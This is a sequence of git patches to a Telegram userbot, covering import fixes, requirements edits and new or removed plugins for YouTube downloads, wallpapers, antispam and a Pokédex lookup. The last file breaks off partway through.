From d9ca7986656b57136e1c5fe68f47dd64569bdaa8 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:39:50 +0530
Subject: [PATCH 076/838] Update antiflood.py
---
fridaybot/modules/antiflood.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py
index 130d9c52..1da36dff 100644
--- a/fridaybot/modules/antiflood.py
+++ b/fridaybot/modules/antiflood.py
@@ -3,7 +3,7 @@
from telethon.tl.functions.channels import EditBannedRequest
from telethon.tl.types import ChatBannedRights
from ..utils import admin_cmd
-from fridaybot.modules.sql_helperimport floodsql as sql
+from fridaybot.modules.sql_helper import floodsql as sql
import fridaybot.utils
from fridaybot.utils import humanbytes, progress, time_formatter
from fridaybot import CMD_HELP
From f9874eff49d6e1f7f546c4ecfaa4897c1a545006 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:47:12 +0530
Subject: [PATCH 077/838] Update Configs.py
---
fridaybot/Configs.py | 1 +
1 file changed, 1 insertion(+)
diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py
index f5e74c6d..43039d17 100644
--- a/fridaybot/Configs.py
+++ b/fridaybot/Configs.py
@@ -138,6 +138,7 @@ class Config(object):
PLUGIN_CHANNEL = int(os.environ.get("PLUGIN_CHANNEL", False))
NEWS_CHANNEL_ID = int(os.environ.get("NEWS_CHANNEL_ID", False))
PM_DATA = os.environ.get("PM_DATA", "ENABLE")
+ DEEP_AI = os.environ.get("DEEP_AI", None)
ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE")
TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE")
ANTISPAM_FEATURE = os.environ.get("ANTISPAM_FEATURE", "ENABLE")
From 58a1f3e33e9c428e4c2eda78f63b41cd4b836973 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:50:07 +0530
Subject: [PATCH 078/838] Update xtools.py
---
fridaybot/modules/xtools.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/xtools.py b/fridaybot/modules/xtools.py
index 1e02dad8..1b58f0cd 100644
--- a/fridaybot/modules/xtools.py
+++ b/fridaybot/modules/xtools.py
@@ -5,7 +5,7 @@
from telethon import events
from datetime import datetime
import requests
-from ..util import admin_cmd
+from ..utils import admin_cmd
@borg.on(admin_cmd("xtools (.*)"))
From 9b2eaf12fbc462f5272fc9f633a24d809ca3fd4f Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 20:21:47 +0530
Subject: [PATCH 079/838] Update requirements.txt
---
requirements.txt | 1 +
1 file changed, 1 insertion(+)
diff --git a/requirements.txt b/requirements.txt
index b27ee599..afc07ff2 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -72,3 +72,4 @@ PyDictionary
beautifulsoup4
bs4
justwatch
+youtube-search-python>=1.3.2
From 2b5f384879b0d8b5f6b14d585976d777a782f64d Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 20:23:35 +0530
Subject: [PATCH 080/838] Update requirements.txt
---
requirements.txt | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/requirements.txt b/requirements.txt
index afc07ff2..8e512215 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -54,7 +54,7 @@ tswift
urbandict>=0.5
wikipedia>=1.4.0
youtube-search
-youtube-search-python
+
covid
password_strength
pyjokes
From a1e967119b0b3e92a907ed1ecdcde6acf263b892 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 20:37:45 +0530
Subject: [PATCH 081/838] Update requirements.txt
---
requirements.txt | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/requirements.txt b/requirements.txt
index 8e512215..0c3ecdc7 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -54,7 +54,7 @@ tswift
urbandict>=0.5
wikipedia>=1.4.0
youtube-search
-
+youtubesearchpython
covid
password_strength
pyjokes
From f806c0fc151f084ed2653ef34a30d3e5d9076fca Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 20:49:04 +0530
Subject: [PATCH 082/838] Update requirements.txt
---
requirements.txt | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/requirements.txt b/requirements.txt
index 0c3ecdc7..8e512215 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -54,7 +54,7 @@ tswift
urbandict>=0.5
wikipedia>=1.4.0
youtube-search
-youtubesearchpython
+
covid
password_strength
pyjokes
From 4f70567ff6f7df8d692d2ce838943c061675aebf Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 20:49:48 +0530
Subject: [PATCH 083/838] Dead
---
fridaybot/modules/ytmusic.py | 68 ------------------------------------
1 file changed, 68 deletions(-)
delete mode 100644 fridaybot/modules/ytmusic.py
diff --git a/fridaybot/modules/ytmusic.py b/fridaybot/modules/ytmusic.py
deleted file mode 100644
index 554de1c5..00000000
--- a/fridaybot/modules/ytmusic.py
+++ /dev/null
@@ -1,68 +0,0 @@
-import asyncio
-import os
-
-import wget
-from youtubesearchpython import SearchVideos
-
-from fridaybot import CMD_HELP
-from fridaybot.Configs import Config
-from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd
-
-
-@friday.on(friday_on_cmd(pattern="ytmusic ?(.*)"))
-@friday.on(sudo_cmd(pattern="ytmusic ?(.*)", allow_sudo=True))
-async def _(event):
- if event.fwd_from:
- return
- urlissed = event.pattern_match.group(1)
- myself_stark = await edit_or_reply(
- event, f"`Getting {urlissed} From Youtube Servers. Please Wait.`"
- )
- search = SearchVideos(f"{urlissed}", offset=1, mode="dict", max_results=1)
- mi = search.result()
- mio = mi["search_result"]
- mo = mio[0]["link"]
- thum = mio[0]["title"]
- fridayz = mio[0]["id"]
- thums = mio[0]["channel"]
- kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg"
- await asyncio.sleep(0.6)
- if not os.path.isdir("./music/"):
- os.makedirs("./music/")
- path = Config.TMP_DOWNLOAD_DIRECTORY
- sedlyf = wget.download(kekme, out=path)
- stark = (
- f'youtube-dl --force-ipv4 -q -o "./music/%(title)s.%(ext)s" --extract-audio --audio-format mp3 --audio-quality 128k '
- + mo
- )
- os.system(stark)
- await asyncio.sleep(4)
- km = f"./music/{thum}.mp3"
- if os.path.exists(km):
- await myself_stark.edit("`Song Downloaded Sucessfully. Let Me Upload it Here.`")
- else:
- await myself_stark.edit("`SomeThing Went Wrong. Try Again After Sometime..`")
- capy = f"**Song Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`"
- await borg.send_file(
- event.chat_id,
- km,
- force_document=False,
- allow_cache=False,
- caption=capy,
- thumb=sedlyf,
- performer=thums,
- supports_streaming=True,
- )
- await myself_stark.edit("`Song Uploaded. By (C) VirtualUserbot`")
- for files in (sedlyf, km):
- if files and os.path.exists(files):
- os.remove(files)
-
-
-CMD_HELP.update(
- {
- "ytmusic": "**Ytmusic**\
-\n\n**Syntax : **`.ytmusic `\
-\n**Usage :** Downloads songs from ytmusic"
- }
-)
From 36a3b980345fac2cfe4cd471310f1d84b388d05d Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 22:40:51 +0530
Subject: [PATCH 084/838] Update requirements.txt
---
requirements.txt | 4 +---
1 file changed, 1 insertion(+), 3 deletions(-)
diff --git a/requirements.txt b/requirements.txt
index 8e512215..3b8eace4 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -54,7 +54,7 @@ tswift
urbandict>=0.5
wikipedia>=1.4.0
youtube-search
-
+youtube-search-python
covid
password_strength
pyjokes
@@ -71,5 +71,3 @@ fontTools
PyDictionary
beautifulsoup4
bs4
-justwatch
-youtube-search-python>=1.3.2
From 5f2a8e741561929d2eb726b61418a19bf3839cfc Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 22:54:44 +0530
Subject: [PATCH 085/838] Delete watch.py
---
fridaybot/modules/watch.py | 111 -------------------------------------
1 file changed, 111 deletions(-)
delete mode 100644 fridaybot/modules/watch.py
diff --git a/fridaybot/modules/watch.py b/fridaybot/modules/watch.py
deleted file mode 100644
index 7f04f6dc..00000000
--- a/fridaybot/modules/watch.py
+++ /dev/null
@@ -1,111 +0,0 @@
-# Uniborg Plugin for getting list of sites where you can watch a particular Movie or TV-Show
-# Author: Sumanjay (https://github.com/cyberboysumanjay) (@cyberboysumanjay)
-# All rights reserved.
-
-#imported from uniborg
-
-
-
-from telethon import events
-import requests
-from ..utils import admin_cmd
-from justwatch import JustWatch
-
-def get_stream_data(query):
- stream_data = {}
-
- # Compatibility for Current Userge Users
- try:
- country = Config.WATCH_COUNTRY
- except Exception:
- country = "IN"
-
- # Cooking Data
- just_watch = JustWatch(country = country)
- results = just_watch.search_for_item(query = query)
- movie = results['items'][0]
- stream_data['title'] = movie['title']
- stream_data['movie_thumb'] = "https://images.justwatch.com"+movie['poster'].replace("{profile}","")+"s592"
- stream_data['release_year'] = movie['original_release_year']
- try:
- print(movie['cinema_release_date'])
- stream_data['release_date'] = movie['cinema_release_date']
- except KeyError:
- try:
- stream_data['release_date'] = movie['localized_release_date']
- except KeyError:
- stream_data['release_date'] = None
-
- stream_data['type'] = movie['object_type']
-
- available_streams = {}
- for provider in movie['offers']:
- provider_ = get_provider(provider['urls']['standard_web'])
- available_streams[provider_] = provider['urls']['standard_web']
-
- stream_data['providers'] = available_streams
-
- scoring = {}
- for scorer in movie['scoring']:
- if scorer['provider_type']=="tmdb:score":
- scoring['tmdb'] = scorer['value']
-
- if scorer['provider_type']=="imdb:score":
- scoring['imdb'] = scorer['value']
- stream_data['score'] = scoring
- return stream_data
-
-#Helper Functions
-def pretty(name):
- if name=="play":
- name = "Google Play Movies"
- return name[0].upper()+name[1:]
-
-def get_provider(url):
- url = url.replace("https://www.","")
- url = url.replace("https://","")
- url = url.replace("http://www.","")
- url = url.replace("http://","")
- url = url.split(".")[0]
- return url
-
-@borg.on(admin_cmd(pattern="watch (.*)"))
-async def _(event):
- if event.fwd_from:
- return
- query = event.pattern_match.group(1)
- await event.edit("Finding Sites...")
- streams = get_stream_data(query)
- title = streams['title']
- thumb_link = streams['movie_thumb']
- release_year = streams['release_year']
- release_date = streams['release_date']
- scores = streams['score']
- try:
- imdb_score = scores['imdb']
- except KeyError:
- imdb_score = None
-
- try:
- tmdb_score = scores['tmdb']
- except KeyError:
- tmdb_score = None
-
- stream_providers = streams['providers']
- if release_date is None:
- release_date = release_year
-
- output_ = f"**Movie:**\n`{title}`\n**Release Date:**\n`{release_date}`"
- if imdb_score:
- output_ = output_ + f"\n**IMDB: **{imdb_score}"
- if tmdb_score:
- output_ = output_ + f"\n**TMDB: **{tmdb_score}"
-
- output_ = output_ + "\n\n**Available on:**\n"
- for provider,link in stream_providers.items():
- if 'sonyliv' in link:
- link = link.replace(" ","%20")
- output_ += f"[{pretty(provider)}]({link})\n"
-
- await borg.send_file(event.chat_id, caption=output_, file=thumb_link,force_document=False,allow_cache=False, silent=True)
- await event.delete()
From 81945f2f5b7deb6eea5f5e2640517fc67207eed9 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 23:10:14 +0530
Subject: [PATCH 086/838] Create ytmusic.py
---
fridaybot/modules/ytmusic.py | 68 ++++++++++++++++++++++++++++++++++++
1 file changed, 68 insertions(+)
create mode 100644 fridaybot/modules/ytmusic.py
diff --git a/fridaybot/modules/ytmusic.py b/fridaybot/modules/ytmusic.py
new file mode 100644
index 00000000..554de1c5
--- /dev/null
+++ b/fridaybot/modules/ytmusic.py
@@ -0,0 +1,68 @@
+import asyncio
+import os
+
+import wget
+from youtubesearchpython import SearchVideos
+
+from fridaybot import CMD_HELP
+from fridaybot.Configs import Config
+from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd
+
+
+@friday.on(friday_on_cmd(pattern="ytmusic ?(.*)"))
+@friday.on(sudo_cmd(pattern="ytmusic ?(.*)", allow_sudo=True))
+async def _(event):
+ if event.fwd_from:
+ return
+ urlissed = event.pattern_match.group(1)
+ myself_stark = await edit_or_reply(
+ event, f"`Getting {urlissed} From Youtube Servers. Please Wait.`"
+ )
+ search = SearchVideos(f"{urlissed}", offset=1, mode="dict", max_results=1)
+ mi = search.result()
+ mio = mi["search_result"]
+ mo = mio[0]["link"]
+ thum = mio[0]["title"]
+ fridayz = mio[0]["id"]
+ thums = mio[0]["channel"]
+ kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg"
+ await asyncio.sleep(0.6)
+ if not os.path.isdir("./music/"):
+ os.makedirs("./music/")
+ path = Config.TMP_DOWNLOAD_DIRECTORY
+ sedlyf = wget.download(kekme, out=path)
+ stark = (
+ f'youtube-dl --force-ipv4 -q -o "./music/%(title)s.%(ext)s" --extract-audio --audio-format mp3 --audio-quality 128k '
+ + mo
+ )
+ os.system(stark)
+ await asyncio.sleep(4)
+ km = f"./music/{thum}.mp3"
+ if os.path.exists(km):
+ await myself_stark.edit("`Song Downloaded Sucessfully. Let Me Upload it Here.`")
+ else:
+ await myself_stark.edit("`SomeThing Went Wrong. Try Again After Sometime..`")
+ capy = f"**Song Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`"
+ await borg.send_file(
+ event.chat_id,
+ km,
+ force_document=False,
+ allow_cache=False,
+ caption=capy,
+ thumb=sedlyf,
+ performer=thums,
+ supports_streaming=True,
+ )
+ await myself_stark.edit("`Song Uploaded. By (C) VirtualUserbot`")
+ for files in (sedlyf, km):
+ if files and os.path.exists(files):
+ os.remove(files)
+
+
+CMD_HELP.update(
+ {
+ "ytmusic": "**Ytmusic**\
+\n\n**Syntax : **`.ytmusic `\
+\n**Usage :** Downloads songs from ytmusic"
+ }
+)
From 1334a6cb170770360f785a6b0432a8935e7bd2ba Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 23:39:22 +0530
Subject: [PATCH 087/838] Update pornhubD.py
---
fridaybot/modules/pornhubD.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/pornhubD.py b/fridaybot/modules/pornhubD.py
index 129c5d4b..a0645fc8 100644
--- a/fridaybot/modules/pornhubD.py
+++ b/fridaybot/modules/pornhubD.py
@@ -15,7 +15,7 @@
from telethon.tl.functions.messages import ImportChatInviteRequest
from ..utils import admin_cmd
-@borg.on(admin_cmd("pornhd ?(.*)"))
+@borg.on(admin_cmd("phd2 ?(.*)"))
async def _(event):
if event.fwd_from:
return
From e6b8f62677ffce559ddb91ccffa4ec6c898c62d9 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 23:53:23 +0530
Subject: [PATCH 088/838] Update antispam.py
---
fridaybot/modules/antispam.py | 29 ++++++++++++++++++++++++++++-
1 file changed, 28 insertions(+), 1 deletion(-)
diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py
index 067556e4..340f191b 100644
--- a/fridaybot/modules/antispam.py
+++ b/fridaybot/modules/antispam.py
@@ -19,7 +19,7 @@ async def ok(event):
user = sclient.is_banned(juser.id)
if user:
await event.reply(
- f"**#ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`"
+ f"**#FRIDAY ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`"
)
try:
await borg.edit_permissions(
@@ -29,3 +29,30 @@ async def ok(event):
pass
else:
pass
+
+
+@borg.on(ChatAction)
+async def dnamg(event):
+ okbruh = await borg.get_me()
+ if event.user_added == okbruh.id:
+ event.chat_id
+ lolll = await event.get_added_by()
+ added_bys = lolll.id
+ lolchat = await event.get_chat()
+ if lolchat.username:
+ is_pvt = False
+ lmao_info = lolchat.username
+ else:
+ is_pvt = True
+ lmao_info = lolchat.id
+ try:
+ await event.reply(
+ "**Wait, How Dare You Add Me To This Group, Without My Permission, Never Mind You Are Gonna Get Reported Lol !**"
+ )
+ except:
+ pass
+ await borg.kick_participant(event.chat_id, okbruh.id)
+ await borg.send_message(
+ Config.PRIVATE_GROUP_ID,
+ f"**WARNING - SPAM ADDING** \nUSER : `{added_bys}` \nCHAT : `{lmao_info}` \nGROUP PRIVATE : `{is_pvt}` \n**You May Report This At @SpamWatch Or @AntispamINC.**",
+ )
From c4290c3a00719f65888143bb7af7d076e28e33c9 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 23:54:03 +0530
Subject: [PATCH 089/838] Update antispam.py
---
fridaybot/modules/antispam.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py
index 340f191b..3a0c310c 100644
--- a/fridaybot/modules/antispam.py
+++ b/fridaybot/modules/antispam.py
@@ -19,7 +19,7 @@ async def ok(event):
user = sclient.is_banned(juser.id)
if user:
await event.reply(
- f"**#FRIDAY ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`"
+ f"**#VirtualUserbot ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`"
)
try:
await borg.edit_permissions(
From 488e05d0e25131dce89625f705a1311f78d5d1d0 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:00:10 +0530
Subject: [PATCH 090/838] Create vsong.py
---
fridaybot/modules/vsong.py | 203 +++++++++++++++++++++++++++++++++++++
1 file changed, 203 insertions(+)
create mode 100644 fridaybot/modules/vsong.py
diff --git a/fridaybot/modules/vsong.py b/fridaybot/modules/vsong.py
new file mode 100644
index 00000000..97037ce8
--- /dev/null
+++ b/fridaybot/modules/vsong.py
@@ -0,0 +1,203 @@
+# Plugin made by @hellboi_atul and bug fixes By Shivam Patel(Team Cobra)
+# Give credits... Dont remove or edit these lines
+# uses ytdl
+# DARK COBRA Userbots plugin
+# reconfigured for Virtual userbot..
+
+import os
+import time
+import math
+import asyncio, json
+from youtube_dl import YoutubeDL
+from pySmartDL import SmartDL
+from fridaybot.utils import progress
+from youtube_dl.utils import (DownloadError, ContentTooShortError,
+ ExtractorError, GeoRestrictedError,
+ MaxDownloadsReached, PostProcessingError,
+ UnavailableVideoError, XAttrMetadataError)
+from asyncio import sleep
+from telethon.tl.types import DocumentAttributeAudio
+from uniborg.util import admin_cmd
+
+
+try:
+ from youtubesearchpython import SearchVideos
+except:
+ os.system("pip install pip install youtube-search-python")
+ from youtubesearchpython import SearchVideos
+
+async def progress(current, total, event, start, type_of_ps, file_name=None):
+ """Generic progress_callback for uploads and downloads."""
+ now = time.time()
+ diff = now - start
+ if round(diff % 10.00) == 0 or current == total:
+ percentage = current * 100 / total
+ speed = current / diff
+ elapsed_time = round(diff) * 1000
+ time_to_completion = round((total - current) / speed) * 1000
+ estimated_total_time = elapsed_time + time_to_completion
+ progress_str = "{0}{1} {2}%\n".format(
+ ''.join(["▰" for i in range(math.floor(percentage / 10))]),
+ ''.join(["▱" for i in range(10 - math.floor(percentage / 10))]),
+ round(percentage, 2))
+ tmp = progress_str + \
+ "{0} of {1}\nETA: {2}".format(
+ humanbytes(current),
+ humanbytes(total),
+ time_formatter(estimated_total_time)
+ )
+ if file_name:
+ await event.edit("{}\nFile Name: `{}`\n{}".format(
+ type_of_ps, file_name, tmp))
+ else:
+ await event.edit("{}\n{}".format(type_of_ps, tmp))
+
+
+def humanbytes(size):
+ """Input size in bytes,
+ outputs in a human readable format"""
+ # https://stackoverflow.com/a/49361727/4723940
+ if not size:
+ return ""
+ # 2 ** 10 = 1024
+ power = 2**10
+ raised_to_pow = 0
+ dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"}
+ while size > power:
+ size /= power
+ raised_to_pow += 1
+ return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B"
+
+
+def time_formatter(milliseconds: int) -> str:
+ """Inputs time in milliseconds, to get beautified time,
+ as string"""
+ seconds, milliseconds = divmod(int(milliseconds), 1000)
+ minutes, seconds = divmod(seconds, 60)
+ hours, minutes = divmod(minutes, 60)
+ days, hours = divmod(hours, 24)
+ tmp = ((str(days) + " day(s), ") if days else "") + \
+ ((str(hours) + " hour(s), ") if hours else "") + \
+ ((str(minutes) + " minute(s), ") if minutes else "") + \
+ ((str(seconds) + " second(s), ") if seconds else "") + \
+ ((str(milliseconds) + " millisecond(s), ") if milliseconds else "")
+ return tmp[:-2]
+
+
+
+@borg.on(admin_cmd(pattern="vsong (.*)"))
+async def download_video(v_url):
+ pro = v_url ; sender = await pro.get_sender() ; me = await pro.client.get_me()
+ pro1 = v_url.text
+ if not sender.id == me.id:
+ dc = await pro.reply("`processing, please weit...`")
+ else:
+ dc = await pro.edit("`processing, please weit...😍`")
+ teamcobra = pro1[8:]
+ if not teamcobra:
+ return await dc.edit("`Error \nusage vsong `")
+ search = SearchVideos(teamcobra, offset = 1, mode = "json", max_results = 1)
+ test = search.result()
+ p = json.loads(test)
+ q = p.get('search_result')
+ try:
+ teamcobra = q[0]['link']
+ except:
+ return await dc.edit("`failed to find your desired song`")
+ type = "audio"
+ await dc.edit("`Ok downloading your song🤓...`")
+ if type == "audio":
+ opts = {
+ 'format':
+ 'best',
+ 'addmetadata':
+ True,
+ 'key':
+ 'FFmpegMetadata',
+ 'prefer_ffmpeg':
+ True,
+ 'geo_bypass':
+ True,
+ 'nocheckcertificate':
+ True,
+ 'postprocessors': [{
+ 'key': 'FFmpegVideoConvertor',
+ 'preferedformat': 'mp4'
+ }],
+ 'outtmpl':
+ '%(id)s.mp4',
+ 'logtostderr':
+ False,
+ 'quiet':
+ True
+ }
+ song = False
+ video = True
+ try:
+ await dc.edit("`Fetching data, please wait..😋😍😎`")
+ with YoutubeDL(opts) as darkcobra:
+ darkcobra_data = darkcobra.extract_info(teamcobra)
+ except DownloadError as error:
+ await dc.edit(f"`{str(error)}`")
+ return
+ except ContentTooShortError:
+ await dc.edit("`Oof the download content was too short😮🤐.`")
+ return
+ except GeoRestrictedError:
+ await dc.edit(
+ "`Video is not available from your geographic location due to geographic restrictions imposed by a website🤔.`"
+ )
+ return
+ except MaxDownloadsReached:
+ await dc.edit("`Max-downloads limit has been reached😶.`")
+ return
+ except PostProcessingError:
+ await dc.edit("`There was an error during post processing😐.`")
+ return
+ except UnavailableVideoError:
+ await dc.edit("`sorry, media is not available in the requested format.`")
+ return
+ except XAttrMetadataError as XAME:
+ await dc.edit(f"`{XAME.code}: {XAME.msg}\n{XAME.reason}`")
+ return
+ except ExtractorError:
+ await dc.edit("`There was an error while fetching your query...`")
+ return
+ except Exception as e:
+ await dc.edit(f"{str(type(e)): {str(e)}}")
+ return
+ c_time = time.time()
+ if song:
+ await dc.edit(f"`Preparing to upload your video song😎 `\
+ \n**{darkcobra_data['title']}**\
+ \nby *{darkcobra_data['uploader']}*")
+ await v_url.client.send_file(
+ v_url.chat_id,
+ f"{darkcobra_data['id']}.mp3",
+ supports_streaming=True,
+ attributes=[
+ DocumentAttributeAudio(duration=int(darkcobra_data['duration']),
+ title=str(darkcobra_data['title']),
+ performer=str(darkcobra_data['uploader']))
+ ],
+ progress_callback=lambda d, t: asyncio.get_event_loop(
+ ).create_task(
+ progress(d, t, v_url, c_time, "Uploading your video song😍..",
+ f"{darkcobra_data['title']}.mp3")))
+ os.remove(f"{darkcobra_data['id']}.mp3")
+ await v_url.delete()
+ elif video:
+ await dc.edit(f"`Preparing to upload your video song🤗❤ :`\
+ \n**{darkcobra_data['title']}**\
+ \nby *{darkcobra_data['uploader']}*")
+ await v_url.client.send_file(
+ v_url.chat_id,
+ f"{darkcobra_data['id']}.mp4",
+ supports_streaming=True,
+ caption=darkcobra_data['title'],
+ progress_callback=lambda d, t: asyncio.get_event_loop(
+ ).create_task(
+ progress(d, t, v_url, c_time, "Uploading..",
+ f"{darkcobra_data['title']}.mp4")))
+ os.remove(f"{darkcobra_data['id']}.mp4")
+ await dc.delete()
From a8ac537a4ba617b5bf48434bac6811a1f815fb8d Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:05:54 +0530
Subject: [PATCH 091/838] Create wallpapers.py
---
fridaybot/modules/wallpapers.py | 87 +++++++++++++++++++++++++++++++++
1 file changed, 87 insertions(+)
create mode 100644 fridaybot/modules/wallpapers.py
diff --git a/fridaybot/modules/wallpapers.py b/fridaybot/modules/wallpapers.py
new file mode 100644
index 00000000..254ac8db
--- /dev/null
+++ b/fridaybot/modules/wallpapers.py
@@ -0,0 +1,87 @@
+import os
+import shutil
+from re import findall
+
+from fridaybot import CMD_HELP
+from fridaybot.googol_images import googleimagesdownload
+from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd
+
+
+@friday.on(friday_on_cmd(pattern="wpaper ?(.*)"))
+@friday.on(sudo_cmd(pattern="img ?(.*)", allow_sudo=True))
+async def img_sampler(event):
+ await edit_or_reply(event, "`Processing...`")
+ reply = await event.get_reply_message()
+ if event.pattern_match.group(1):
+ queryo = event.pattern_match.group(1)
+ elif reply:
+ queryo = reply.message
+ else:
+ await edit_or_reply(
+ event, "`um, mind mentioning what I actually need to search for ;_;`"
+ )
+ return
+ query = queryo + "hd wallpaper"
+ lim = findall(r"lim=\d+", query)
+ # lim = event.pattern_match.group(1)
+ try:
+ lim = lim[0]
+ lim = lim.replace("lim=", "")
+ query = query.replace("lim=" + lim[0], "")
+ except IndexError:
+ lim = 5
+ response = googleimagesdownload()
+
+ # creating list of arguments
+ arguments = {
+ "keywords": query,
+ "limit": lim,
+ "format": "jpg",
+ "no_directory": "no_directory",
+ }
+
+ # passing the arguments to the function
+ paths = response.download(arguments)
+ lst = paths[0][query]
+ await event.client.send_file(
+ await event.client.get_input_entity(event.chat_id), lst
+ )
+ shutil.rmtree(os.path.dirname(os.path.abspath(lst[0])))
+ await event.delete()
+
+ query = queryo + "ultra hd wallpaper"
+ lim = findall(r"lim=\d+", query)
+ # lim = event.pattern_match.group(1)
+ try:
+ lim = lim[0]
+ lim = lim.replace("lim=", "")
+ query = query.replace("lim=" + lim[0], "")
+ except IndexError:
+ lim = 3
+ response = googleimagesdownload()
+
+ # creating list of arguments
+ arguments = {
+ "keywords": query,
+ "limit": lim,
+ "format": "jpg",
+ "no_directory": "no_directory",
+ }
+
+ # passing the arguments to the function
+ paths = response.download(arguments)
+ lst = paths[0][query]
+ await event.client.send_file(
+ await event.client.get_input_entity(event.chat_id), lst
+ )
+ shutil.rmtree(os.path.dirname(os.path.abspath(lst[0])))
+ await event.delete()
+
+
+CMD_HELP.update(
+ {
+ "wallpaper": "**Wallpaper**\
+\n\n**Syntax : **`.wpaper `\
+\n**Usage :** get wallpapers just with a query."
+ }
+)
From 9e3c7402d234b70c3a8e5fc45af1e3d78d5d142f Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:09:12 +0530
Subject: [PATCH 092/838] Create pokedex.py
---
fridaybot/modules/pokedex.py | 147 +++++++++++++++++++++++++++++++++++
1 file changed, 147 insertions(+)
create mode 100644 fridaybot/modules/pokedex.py
diff --git a/fridaybot/modules/pokedex.py b/fridaybot/modules/pokedex.py
new file mode 100644
index 00000000..d5270c53
--- /dev/null
+++ b/fridaybot/modules/pokedex.py
@@ -0,0 +1,147 @@
+# Copyright (C) @chsaiujwal 2020
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program. If not, see .
+
+import html
+from uniborg.util import friday_on_cmd
+
+
+
+from telethon.tl.functions.photos import GetUserPhotosRequest
+from telethon.tl.functions.users import GetFullUserRequest
+from telethon.tl.types import MessageEntityMentionName
+from telethon.utils import get_input_location
+
+from fridaybot import CMD_HELP, sclient
+from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd
+
+try:
+ from pokedex import pokedex
+except:
+ os.system("pip install pip install pokedex")
+ from pokedex import pokedex
+
+@friday.on(admin_cmd(pattern="pokedex (.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ input_str = event.pattern_match.group(1)
+ pokedx = pokedex.Pokedex()
